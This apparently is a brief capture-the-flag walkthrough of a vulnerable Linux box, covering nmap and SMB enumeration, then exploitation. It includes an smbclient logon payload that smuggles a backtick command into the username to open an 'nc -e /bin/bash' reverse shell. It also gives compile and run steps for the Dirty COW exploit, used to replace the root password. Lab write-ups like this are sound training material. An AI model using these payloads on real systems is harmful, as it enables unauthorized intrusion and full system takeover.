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From a really quick nmap we can realize that there are 4 open ports on the machine.

- 21/tcp
- 22/tcp
- 139/tcp
- 445/tcp


After enumerating the smb port I found that there are shares that I can connect to.

🚀 sudo nmap -sU -sS --script smb-enum-shares.nse -p T:139

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Did you notice the Comment on /tmp share?

Useful comment

I had a problem running smbclient for some reason on my kali box. I was getting an error about “timeout” or “connection error” with absolutely no reason. After one hour investigating I found out that with a small edit on /etc/samba/smb.conf, finally worked.

  • I added client min protocol = NT1 under global section and problem solved.

Getting a shell through smb

I used this command to get a reverse shell through samba:

logon "./=`nohup nc -e /bin/bash **your_ip** 1234`"

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And I got the RVShell

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After running some basic scripts you can quickly realize that you can privesc really quick & simple.

I will just leave this here 😉

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You should check this also.


Get the code from exploitdb. You can find it almost everywhere. Compile the code on the machine with :

gcc -pthread dc.c -o dc -lcrypt

Then run the compiled code with ./dc (you can use your own name ofc) and enter a new password. Type your password & ssh into the machine with the firefart username.

ssh firefart@

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Thank you very much for reading.